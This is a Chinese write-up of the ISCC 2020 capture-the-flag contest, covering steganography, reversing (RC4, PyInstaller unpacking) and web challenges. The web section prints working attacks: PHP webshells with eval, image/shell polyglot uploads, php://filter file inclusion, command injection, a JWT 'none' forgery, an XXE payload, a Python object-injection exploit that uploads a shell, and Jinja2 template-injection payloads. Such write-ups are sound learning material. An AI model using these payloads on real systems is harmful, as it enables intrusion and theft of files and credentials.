ISCC 2020 Writeup

Posted spaceskynet

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ISCC 2020 Writeup相关的知识,希望对你有一定的参考价值。

一道pwnmoblie都没解出来就结束了,其它题也好多都没解出来,我真……的还想再学五百年……

向学长看齐,所以还是先宣传一波ISCC……(逃……)

ISCC简介:(复制粘贴来的)

信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设,信息系统越发展到它的高级阶段,人们对其依赖性就越强,从某种程度上讲其越容易遭受攻击,遭受攻击的后果越严重。“网络安全和信息化是一体之两翼、驱动之双轮。没有网络安全就没有国家安全。”信息是社会发展的重要战略资源,国际上围绕信息的获取、使用和控制的斗争愈演愈烈,信息安全保障能力是综合国力、经济竞争实力和生存能力的重要组成部分,是世纪之交世界各国奋力攀登的至高点。 信息安全与对抗技术竞赛(ISCC:Information Security and Countermeasures Contest),于2004年首次举办(国内第一),2020年为第17届。2019年竞赛的注册人数近7000人,参加竞赛的院校数1000多所,ISCC竞赛的影响广泛且深远。竞赛不断追求“更高、更快、更强”,持续培养高素质信息安全对抗专业人才。

摘自官网: ISCC

MISC

high

欢迎来到MISC的炼狱!赛高泥high铁鸭子哒!哈哈哈哈哈哈哈!

做个misc都有JOJO出现,也是醉了啊……

技术图片

一看png,先分析文件头,文件名high,于是先修改IHDR中高度值,果然发现flag……但……是

技术图片

还有一层维吉尼亚密码,key为high…… (longleftarrow) 就这个我交了20多遍的flag,出师不利

Flag:
ISCC{W3lcome_to_Mi5C_Wryyy}

话说为什么有个一般binwalk固件分析才找到出来的……myi MyiSAM索引文件,迷……

ISCC成绩查询-1

Ron在5月份参加了第17届ISCC竞赛,查成绩的时间到了。但是在他登录时,他突然发现自己忘记了英文用户名,好在他当时记录了自己的英文用户名,你能帮助他找回来嘛?

(连用户名都没记住,嗐……)

仍然一个png,感觉没啥问题,上Stegsolve,发现隐写

技术图片

是个图论,数了下,发现度为奇数的点刚好两个,而且还有些点有标号,那我们就来走一次欧拉回路吧!

技术图片

把经过边上的字母连在一起,得到TRLNCHHAFCIEEIEEPR,但是不像用户名,继续试密码,最后栅栏密码6栏得到THERAILFENCECIPHER,恰好为栅栏密码英文名,这用户名取得好啊……

Flag:
flag{THERAILFENCECIPHER}

寻找小明-1

没题面,以后补

重点:最低位的背影,于是上Stegsolve,发现Red plane 0有个二维码,扫一下,得到:(记得反色)

技术图片

https://pastebin.com/Yjy1crAs

然后,得到一个数组:

[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]

个数为偶数,于是猜想是坐标,两个两个从原图找点,由于是在Red plane找到的,就尝试把RGB中R的数值转换为字符,得到flag……

#!/usr/bin/python3
from PIL import Image

pos = [257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]

if __name__ == "__main__":
    img=Image.open("最低位的背影.png")
    img_array = img.load()
    flag = ""
    for i in range(len(pos) // 2):
        flag = flag + chr(img_array[pos[i * 2],pos[i * 2 + 1]][0])
    print(flag)

(结束了看了学长的wp才发现自己想的太多了……xor,取余,怪不得什么都没找到……)

Flag:
flag{ISCC*funny}

锟斤拷

且作诗一首:
手持两把锟斤拷,口中疾呼烫烫烫。
脚踏千朵屯屯屯,笑看万物锘锘锘。
在神器锟斤拷的高温下,你快速是否能找到flag,免受炼狱之苦呢?

第一次出题,出了个毒瘤题,RE硬生生成了MISC……

技术图片

首先看到garbled-char.png这个图像,“锟斤拷”三个大字,明显指出了这道题与编码有关,更具体点应该是gbkunicode

继续发现图像文件有些偏大,猜想是否隐写了其它文件,用binwork一看,果然发现端倪,解包出来。

技术图片

得到下列文件:

技术图片

发现flag.rar有密码,只有从其它几项入手了。

首先看看pwd.txt,发现用默认的utf-8编码无法打开,想想之前的“锟斤拷”,试着用gbk编码打开,得到下列字符串:

技术图片

新佛曰”开头,是比较流行的“新约佛论禅”加密,搜索找到解密网站,得到下列字符串:

技术图片

把字符串当作密码输入,果然不正确,还差了点,继续从剩下的文件找线索。

useful文件像是一个程序,但无法运行,先放在一边。

information.txt的第一行写了“for useful”,解读了这个文件,或许就能让useful运行了。

技术图片

看剩下七行,第一个字符总是g,b,k中的一个,第二个字符是1-7,之前又说与gbk有关,似乎可以给排个序?

按照感觉比较合理的顺序排个序,例如:g1,b2,k3,g4,b5,k6,g7

技术图片

继续看每行后面的内容,这似曾相似的感觉,似乎是经典的凯撒密码,每行格式相似,而且既有数字也有小写字母,数字也比较连续,看样子数字和小写字母是分开使用交换加密的,循环应该分别是10和26,但是偏移量是多少呢?继续沉思……

继续想到gbkunicode………… u n i c o d e,一共是7个,g b k g b k g也一共7个,是不是从g b k g b k g --> u n i c o d e呢?字符对应的差值就是每一行对应相应的偏移量?赶紧写份代码试试……

运行后果然得到了下面的结果:

技术图片

看样子是对useful异或加密了,而且还是分段的,写出解密程序,对useful进行解密。

用file命令判断下文件类型,果然是ELF文件。

技术图片

拖到ida里面,发现函数很少,感觉被加了壳,继续分析,发现是简单的upx壳,直接脱下即可。

技术图片

脱完壳继续拖到ida里面,找到main函数,打开graph视图,发现逻辑很复杂,不像一般的程序,比较像虚拟机之类的程序。

技术图片

打开字符串窗口,看下是否有一些信息,发现了大量Py相关的字符串,有一条明确指出为Python VM,看样子是Python虚拟机没错了,应该是Python脚本的包装器。

技术图片

最常用的无疑就是Pyinstaller了,通过pyi-bootloader-ignore-signals等字符串也说明了是该ELF是Pyinstaller打的包,开始反编译吧。

查找资料发现,有一款叫pyinstxtractor的开源程序可以反编译Pyinstaller打包程序,为了防止一些奇奇怪怪的事情发生,我们直接到github上找最新的程序源码。

实验后发现pyinstxtractor只能解包exe,不能解包ELF……先放在一旁吧……

继续查阅资料,发现PyInstaller自带pyi-archive_viewer这样一款工具,可以去提取可执行文件中(当然包括ELF)的py代码,有戏!

根据文档,我们可以把pyc文件dump出来,这不就相当于得到源码了吗!

用pyi-archive_viewer很简单就找到了useful这个pyc文件,同时发现了cpython36等字样,说明该文件是在python3.6下用PyInstaller打包的。

现在dump出pyc文件,开始反编译吧。

技术图片

反编译时工具很多,这里使用uncompyle6

但却发现出错了,有什么问题吗?

继续查阅资料,发现PyInstaller在打包.pyc时,会把.pyc的magic和时间戳+大小参数去掉,而且各个版本所占字节数不同,同时用pyi-archive_viewer dump时并不会自动还原,只好自己修复,时间戳+大小参数可以随意(可以用00填充),但magic应该怎么获取?

Python 3.6在pyc文件头该增加什么?回想起之前好像有个开源的pyinstxtractor,而Pyinstaller在不同平台用的打包方式应该很相似,可以通过源码学习一下。

通过研究pyinstxtractor源码,我们知道了pyc缺失的部分的格式。

magic可以使用对应版本的python获得,而python 3.6 的magic后面还需要8个字节(时间戳+大小参数),下载Python 3.6,获得四个字节的magic,故pyc一共缺失12个字节。

技术图片

技术图片

我们得到了pyc缺失的部分,手动用hex编辑器补上。

技术图片

然后用uncompyle6反编译,得到py源码。

技术图片

技术图片

通过分析发现,这个有用的字符串(也就是需要加在之前获得的字符串后面的字符串),先通过了10次base64编码,再通过输入的pos切片,分别进行a85(Ascii85)和b85(RFC1924)加密后拼接,与目标字符串比较判断是否正确。经过分析,我们可以逆推出useful String。

输入的pos是多少呢?看main前面的表达式我们似乎可以算出来,但是次方过大,无法直接算,发现有取模运算,于是可以用快速幂得到pos为112(当然也可以用数学方法).

但此时的pos并不是targetStr的切片点,因为a85(Ascii85)的加密方式是以4个字节为一组加密为5个字节,故实际的pos = 112 // 4 * 5 = 140,此时就可以开始编写解密脚本了。

最后得到字符串“xefxbfxbd”,这不就是“锟斤拷”的“罪魁祸首”之一吗?

与之前的“我是没有用处的,除非你在后面加点什么”相连,得到密码,解压flag.rar,得到flag.(记得在两边加上flag{})

Flag:
flag{gbk&unicode^_^YOu-gOT+It}

Web

php is the best language

没题面,以后补

index.php源码,一看,php反序列化,把flag.php写到序列化函数就行了

// index.php
<?php  
@error_reporting(1);
include ‘flag.php‘;
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET[‘data‘]))
{
    $data = $_GET[‘data‘];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url=‘./index.php‘;
}

$html=‘‘;
if(isset($_POST[‘test‘])){
    $s = $_POST[‘test‘];
    $html.="<p>谢谢参与!</p>";
}
?>

// to-flag.php
<?php  
class baby 
{
    public $file = ‘flag.php‘;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
$data = new baby;
$good = serialize($data);
echo $good;
?>

得到flag……(我可不是php expert,只是菜鸟)

Flag:
flag{u_r_really_a_php_expert}

What image can do

用最意想不到的图,做最意想不到的事 (有点东西)

文件上传题,下面查看可以运行shell,摆弄一番,发现是内容检测绕过,windows直接找张图片copy /b 1.jpg+shell.php shell.jpg就行。

顺便发现原本包含的file*.php在下级子目录,所以GET时记得../uploads/*,就像这样

http://101.201.126.95:7004/?filename=../uploads/2020/05/07/3942885eb3cba14e059674002813.jpg&submit=phpinfo();

技术图片

我那乱七八糟的shell

<?php
	echo ‘<br/>‘;
	echo "__FILE__:  ========>  ".__FILE__;    
	echo ‘<br/>‘;
	echo "__DIR__:  ========>  ".__DIR__;  
	echo ‘<br/>‘; 
	echo highlight_file("/var/www/html/flag.php");
	echo ‘<br/>‘; 
	echo highlight_file("/var/www/html/index.php");
	@eval($_GET[‘submit‘]);
?>

附上index.php

<?php
$SELF_PAGE = substr($_SERVER[‘PHP_SELF‘],strrpos($_SERVER[‘PHP_SELF‘],‘/‘)+1);

if ($SELF_PAGE = "clientcheck.php"){
    $ACTIVE = array(‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘active open‘,‘‘,‘‘,‘‘,‘active‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘);
}

include_once ‘inc/uploadfunction.php‘;

$html=‘‘;
if(isset($_POST[‘submit‘])){
    $type=array(‘jpg‘,‘jpeg‘,‘png‘);//指定类型
    $mime=array(‘image/jpg‘,‘image/jpeg‘,‘image/png‘);
    $save_path=‘uploads‘.date(‘/Y/m/d/‘);//根据当天日期生成一个文件夹
    $upload=upload(‘uploadfile‘,‘512000‘,$type,$mime,$save_path);//调用函数
    if($upload[‘return‘]){
        $html.="<p class=‘notice‘>success!</p><p class=‘notice‘>文件保存的路径为:{$upload[‘save_path‘]}</p>";
    }else{
        $html.="<p class=notice>{$upload[‘error‘]}</p>";

    }
}
?>

<head>
    <title>ISCC | What can images do?</title>
    <style>
    body{background-image:url(./static/background.jpg);}

    html,body{
    position: relative;
    height: 100%;
    }

    .main-content{
    position: relative;
    width: 300px;
    margin: 80px auto;
    padding: 20px 40px 40px;
    text-align: center;
    background: #fff;
    border: 1px solid #ccc;
    }

    .main-content::before,.main-content::after{
    content: "";
    position: absolute;
    width: 100%;height: 100%;
    top: 3.5px;left: 0;
    background: #fff;
    z-index: -1;
    -webkit-transform: rotateZ(4deg);
    -moz-transform: rotateZ(4deg);
    -ms-transform: rotateZ(4deg);
    border: 1px solid #ccc;
    }

    .main-content::after{
    top: 5px;
    z-index: -2;
    -webkit-transform: rotateZ(-2deg);
     -moz-transform: rotateZ(-2deg);
      -ms-transform: rotateZ(-2deg);
    }

    .main-content1{
    position: relative;
    width: 300px;
    margin: 80px auto;
    padding: 20px 40px 40px;
    text-align: center;
    background: #fff;
    border: 1px solid #ccc;
    }

    .main-content1::before,.main-content::after{
    content: "";
    position: absolute;
    width: 100%;height: 100%;
    top: 3.5px;left: 0;
    background: #fff;
    z-index: -1;
    -webkit-transform: rotateZ(4deg);
    -moz-transform: rotateZ(4deg);
    -ms-transform: rotateZ(4deg);
    border: 1px solid #ccc;
    }

    .main-content1::after{
    top: 5px;
    z-index: -2;
    -webkit-transform: rotateZ(-2deg);
     -moz-transform: rotateZ(-2deg);
      -ms-transform: rotateZ(-2deg);
    }
    </style>
</head>
<body>
<div class="main-content">
    <div class="main-content-inner">
        <div class="page-content">
            <div id="usu_main">
                <form class="upload" method="post" enctype="multipart/form-data"  action=""><br/>
                    <input class="uploadfile" type="file"  name="uploadfile" /><br/>
                    <input class="sub" type="submit" name="submit" value="点击上传" />
                </form>
                <?php
                echo $html;//输出了上传文件的路径
                ?>
            </div>
        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->

<?php

$SELF_PAGE = substr($_SERVER[‘PHP_SELF‘],strrpos($_SERVER[‘PHP_SELF‘],‘/‘)+1);

if ($SELF_PAGE = "fi_local.php"){
    $ACTIVE = array(‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘active open‘,‘‘,
        ‘active‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘);
}

$html=‘‘;
if(isset($_GET[‘submit‘]) && $_GET[‘filename‘]!=null){
    $filename=$_GET[‘filename‘];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     安全的写法,使用白名单,严格指定包含的文件名
//     if($filename==‘file1.php‘ || $filename==‘file2.php‘ || $filename==‘file3.php‘ || $filename==‘file4.php‘ || $filename==‘file5.php‘){
//         include "include/$filename";
//     }
}

?>


<div class="main-content1">
    <div class="main-content-inner1">
        <div class="page-content1">
            <div id=fi_main>
                <p class="fi_title">PS:这里可以看到一些好看的图片示例哦~</p>
                <form method="get">
                    <select name="filename">
                        <option value="">--------------</option>
                        <option value="file1.php">the Eiffel Tower</option>
                        <option value="file2.php">the Great Wall</option>
                        <option value="file3.php">Big Ben</option>
                        <option value="file4.php">Statue Of Liberty</option>
                        <option value="file5.php">Taj Mahal</option>
                    </select>
                    <input class="sub" type="submit" name="submit" />
                </form>
                <?php echo $html;?>
            </div>
        </div><!-- /.page-content1 -->
    </div>
</div><!-- /.main-content1 -->

</body>

最终flag为:

Flag:
flag{ISCC_FREAKING_AWESOME}

的确意想不到,webshell被传了一大堆,而且靶场上传目录还被写成过000,醉……

Where is file

没题面,以后补

有源码,分析后直接php伪协议,php://filter搞定

http://101.201.126.95:7009/?file=php://filter/read=convert.base64-encode/resource=flag.php&hello=flag.php
// index.php
<?php
show_source(__FILE__);
echo $_GET[‘hello‘];
$file=$_GET[‘file‘];
while (strstr($file, "file://")) {
    $file=str_replace("file://", "", $file);
}
include($file);
?>

// flag.php
<?php
$a="flag{web_include_file}";
?>

Flag:
flag{web_include_file}

阿帅的爱情

技术图片

找到题目,发现index.php源码

<?php
if(!isset($_GET["ip"])){
    show_source(__file__);
} else
{
    $ip=$_GET["ip"];
    $pattern="/[;|&].*[a-zA-Z]+/";
    if(preg_match($pattern,$ip)!=0){
        die(‘bad domain‘);
    }
    try {
        $result = shell_exec(‘ping -c 4 ‘ . $ip);
    }
    catch(Exception $e) {
        $result = $e->getMessage();
        echo $result;
    }
    $result = str_replace("
", "<br>", $result);
    echo $result;
}

发现是审计,分析一下,有一个命令执行漏洞,正则被过滤,但是可以直接用%0a绕过,ls查看发现flag.php,直接cat flag.php

技术图片

这个flag够长……

Flag:
flag{6Zi/5qOu5LiK5LqG6Zi_5biF77yM5Zyo5LiA5Liq5rKh5py_J5pif5pif55qE5aSc5pma}

未知的风险-1

技术图片

打开,发现只有hello guest;,于是用burpsuite抓包,发现Cookie: token,分析一下,是JWT,所以根据题意伪造user的JWT

alg为none,于是第三部分加密就不用伪造了

// JWT伪装user:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6InVzZXIiLCJpYXQiOjE1ODg4NTM1OTYsImp0aSI6ImEzNGFkMzQ4ZGMzMjZkOTIxNGUyNmVkYTcwMTBjYjA2In0.
{"typ":"JWT","alg":"none"}.{"id":"user","iat":1588853596,"jti":"a34ad348dc326d9214e26eda7010cb06"}

修改Cookie,进入一个登录页面,查看页面源代码,发现ajax请求用的是XML,所以可以用XXE漏洞。

抓包,修改XML,试了几下,发现php伪协议能用,有flag.php,于是JWT+XXE+php://filter搞定,

<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
<user><username>&xxe;</username><password>asd</password></user>`

最后base64转化一下:

Flag:
flag{get_the_methodd}

未知的风险-2

没题面,以后补

有index.txt,不过需要去有意试一下

//index.php
<?php

//error_reporting(0);
include(‘secret.php‘);

$sandbox_dir = ‘sandbox/‘.sha1($_SERVER[‘REMOTE_ADDR‘]);
global $sandbox_dir;

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac(‘sha256‘, $b, $secret);
}

function myunserialize($a, $secret) {
    if(substr($a, -64) === hash_hmac(‘sha256‘, substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info[‘extension‘]) ? ".".$info[‘extension‘] : ‘.txt‘;
        file_put_contents($sandbox_dir.‘/‘.sha1($content).$ext, $content);
        $this->fakename = $fakename;
        $this->realname = sha1($content).$ext;
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir,0777,true);
}

if(!is_file($sandbox_dir.‘/.htaccess‘)) {
    file_put_contents($sandbox_dir.‘/.htaccess‘, "php_flag engine off");
}

if(!isset($_GET[‘action‘])) {
    $_GET[‘action‘] = ‘home‘;
}


if(!isset($_COOKIE[‘files‘])) {
    setcookie(‘files‘, myserialize([], $secret));
    $_COOKIE[‘files‘] = myserialize([], $secret);
}


switch($_GET[‘action‘]){
    case ‘home‘:
    default:
        $content = "<form method=‘post‘ action=‘index.php?action=upload‘ enctype=‘multipart/form-data‘><input type=‘file‘ name=‘file‘><input type=‘submit‘/></form>";

        $files = myunserialize($_COOKIE[‘files‘], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method=‘POST‘ action=‘index.php?action=changename&i=".$i."‘><input type=‘text‘ name=‘newname‘ value=‘".htmlspecialchars($file->fakename)."‘><input type=‘submit‘ value=‘Click to edit name‘></form><a href=‘index.php?action=open&i=".$i."‘ target=‘_blank‘>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        echo $content;
        break;
    case ‘upload‘:
        if($_SERVER[‘REQUEST_METHOD‘] === "POST") {
            if(isset($_FILES[‘file‘])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES[‘file‘][‘name‘], file_get_contents($_FILES[‘file‘][‘tmp_name‘]));
                $files = myunserialize($_COOKIE[‘files‘], $secret);
                $files[] = $uploadfile;
                setcookie(‘files‘, myserialize($files, $secret));
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;
    case ‘changename‘:
        if($_SERVER[‘REQUEST_METHOD‘] === "POST") {
            $files = myunserialize($_COOKIE[‘files‘], $secret);
            if(isset($files[$_GET[‘i‘]]) && isset($_POST[‘newname‘])){
                $files[$_GET[‘i‘]]->fakename = $_POST[‘newname‘];
            }
            setcookie(‘files‘, myserialize($files, $secret));
        }
        header("Location: index.php?action=home");
        exit;
    case ‘open‘:
        $files = myunserialize($_COOKIE[‘files‘], $secret);
        if(isset($files[$_GET[‘i‘]])){
            echo $files[$_GET[‘i‘]]->open($files[$_GET[‘i‘]]->fakename, $files[$_GET[‘i‘]]->realname);
        }
        exit;
    case ‘reset‘:
        setcookie(‘files‘, myserialize([], $secret));
        $_COOKIE[‘files‘] = myserialize([], $secret);
        array_map(‘unlink‘, glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;
}

是个自建沙箱上传的题目,用了.htaccess防止webshell运行,有几个功能,同时发现反序列化函数,在这里,由于用户控制的Cookie被直接发送到s_unserialize()函数,所以我们可以尝试寻找PHP对象注入漏洞。

……(过程十分复杂,由于是Insomni‘hack Teaser 2018 File Vault 原题,可以参考官方Writeup

脚本如下,传上去webshell后就可以用中国蚁剑连接了,不过其实直接GET cat ../../flag.php 就行了,不过不要拿着shell乱搞……

import requests
import urllib
import hashlib

URL = "http://101.201.126.95:7005/"
s = requests.Session()

default_content = "AK"
my_ip = "127.0.0.1" # 修改为自己ip
newname = "../" * 117 # 覆写 fakename #2
remote_address = hashlib.sha1(my_ip.encode(‘utf-8‘)).hexdigest()
serialized_injection = ‘";s:8:"realname";s:44:"%s.txt";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/%s/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"‘ % (hashlib.sha1(default_content.encode(‘utf-8‘)).hexdigest(), remote_address)

shell_php = ‘‘‘<?php 
	if(isset($_POST[‘pass‘])){
		@eval($_POST[‘pass‘]);
	}
	if(isset($_GET[‘cmd‘])){
		system($_GET[‘cmd‘]);
	}
	if(isset($_GET[‘phpcmd‘])){
		@eval($_GET[‘phpcmd‘]);
	}
?>‘‘‘


def upload(name, content=default_content):
    files = {‘file‘: (name, content)}
    params = { "action" : "upload" }
    s.post(URL, params=params, files=files)

def rename(index, new_name):
    data = { "newname" : new_name }
    params = {
        "action" : "changename",
        "i" : index
    }
    s.post(URL, params=params, data=data)

def open_file(index):
    params = {
        "action" : "open",
        "i" : index
    }
    return s.get(URL, params=params).text

# 随意上传两个文件
upload("A")
upload("B")

# 通过重命名注入序列化 ZipArchiver
rename(1, serialized_injection)
rename(0, newname)

# 上传 shell
upload("shell.php", shell_php)

# 收到的 Cookie
print(" === Cookie === ")
print(urllib.request.unquote(s.cookies[‘files‘]))
print(" ============== ")

# Trigger .htaccess 被删除
open_file(1)

shell_url = URL + "sandbox/%s/%s.php" % (remote_address, hashlib.sha1(shell_php.encode(‘utf-8‘)).hexdigest())
print(shell_url)

response = requests.get(shell_url, params={"cmd" : "cat ../../secret.php"})
flag = response.text
print(flag)

得到flag……(第一次的时候发现sandbox无法访问,准是靶场目录权限又被改成000了)

Flag:
flag{ghs_aswoer_nmxld}

随意翻了下别人传的,都是些什么和什么哦……

Easy Injection

python template injection

唯一做的一道擂台题,明显python template注入……

找到第231个类包含了os库,于是用listdir查看,看到flog文件,用popen创建管道传回终端结果,得到flag……

第一次:
http://101.201.126.95:7050/{% for item in ‘‘.__class__.__mro__[1].__subclasses__() %}%0a{% if ‘os‘ in item.__init__.__globals__ %}%0a{{‘%s‘ % (item.__dict__)}}%0a{% endif %}%0a{% endfor %}

第二次:
http://101.201.126.95:7050/{{‘‘.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__[‘os‘].listdir(‘.‘)}}
返回:URL http://101.201.126.95:7050/[‘%‘, ‘tt.txt‘, ‘.travis.yml‘, ‘.gitignore‘, ‘requirements.txt‘, ‘index.py‘, ‘flog‘] not found

第三次:
http://101.201.126.95:7050/{{‘‘.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__[‘os‘].popen("cat flog").read()}}

附上index.py

#encoding:utf-8
from flask import Flask,request,render_template_string 
import urllib.request,urllib.parse 
app = Flask(__name__) 
@app.route("/") 
def hello(): 
	return "python template injection" 
@app.errorhandler(404) 
def page_not_found(error): 
	url = urllib.parse.unquote(request.url) 
	return render_template_string("<h1>URL %s not found</h1><br/>"%url), 404 
if __name__ == ‘__main__‘: 
	app.run(debug=False, host=‘0.0.0.0‘, port=80)
Flag:
flag{tomrrow_WILL_be_FINE}

(但是明天下雨,谢谢……)

Re

苏大强的保险箱-1

没题面,以后补

直接用IDA,找到加密函数,直接写段C输出即可……

记得要逆序一下

#include<stdio.h>
int b[20] = {0xD5, 0x9E, 0xB4, 0x70, 0x78, 0x60, 0x82, 0x70, 0x39, 0x5E};
int a[20] = {0x0A, 7, 0x41, 0x0B, 0x2C, 0x0C, 0x3D, 0x38, 0x27, 0x73};
int main()
{
	char m[20];
	for (int i = 0; i <= 9; ++i) m[9 - i] = b[9 - i] - i - a[i];
	printf("flag{%s}
", m);
	return 0;
}
Flag:
flag{You-g0t-1T}

苏大强的保险箱-2

没题面,以后补

还是用IDA,找到加密函数,发现是RC4,百度后直接写出C文件,输出flag

#include<stdio.h>
#include<time.h>
#include<string.h>
#include<stdlib.h> 
#define MAX 65534

int S[256]; //向量S
char T[256];    //向量T
char Key[256] = "a1dWT1pJXF1USVxRV1ZbUElQSVBJ";
int KeyStream[MAX]; //密钥
char CryptoText[MAX];
void init_S()
{
	for(int i = 0; i < 256; i++)
	{
		S[i] = i;
	}
}

void init_Key()
{
	// 初始密钥
	int keylen = strlen(Key);
	for(int i = 0; i < 256; i++)    //初始化T[]
	{
		T[i] = Key[i%keylen];
	}
}

void  permute_S()
{
	// 置换S;
	int temp;
	int j = 0;
	for(int i = 0; i < 256; i++)
	{
		j = (j + S[i] + T[i]) % 256;
		temp = S[i];
		S[i] = S[j];
		S[j] = temp;
	}
}

void create_key_stream(int textLength)
{
	// 生成密钥流
	int i,j;
	int temp, t, k;
	int index = 0;
	i = j = 0;
	while(textLength --)    //生成密钥流
	{
		i = (i+1)%256;
		j = (j + S[i]) % 256;
		temp = S[i];
		S[i] = S[j];
		S[j] = temp;
		t = (S[i] + S[j]) % 256;
		KeyStream[index] = S[t];
		index ++;
	}
}
void Rc4EncryptText(int *text, int textLength)
{
	//加密 && 解密
	init_S();
	init_Key();
	permute_S();
	create_key_stream(textLength);
	printf("============开始解密============:
");
	for(int i = 0; i < textLength; i++)
	{
		CryptoText[i] = (char)(KeyStream[i] ^ text[i]); //加密
	}
	printf("flag{");
	for(int i = 0; i < textLength; i++)
	{
		printf("%c", CryptoText[i]);
	}
	printf("}
");
	printf("
============解密完成============
"); 
}

int main()
{
	int x[20] = {-99, -121, 113, -92, -125, 11, -86, 83, -60, 56, 54, -123};
	Rc4EncryptText(x, 12);
	system("pause"); 
	return 0;
}

IDA一番操作猛如虎……

Flag:
flag{1amSuda7iang}

话说做2的时候都忘了1有个key了,直接IDA找出来,不管它是组合题了

结语

别问我为什么用cnblogs……

主要是现在都没找到满意的blog方式,但是发现Hexo + Django好像不错,可以暑假写写试试




以上是关于ISCC 2020 Writeup的主要内容,如果未能解决你的问题,请参考以下文章

ISCC 2016 逆向部分 writeup

Iscc2016 writeup

ISCC 2017 Web writeup

iscc2018-Reverse-writeup

ISCC 2018线上赛 writeup

[WUSTCTF2020]Web Writeup(待补充)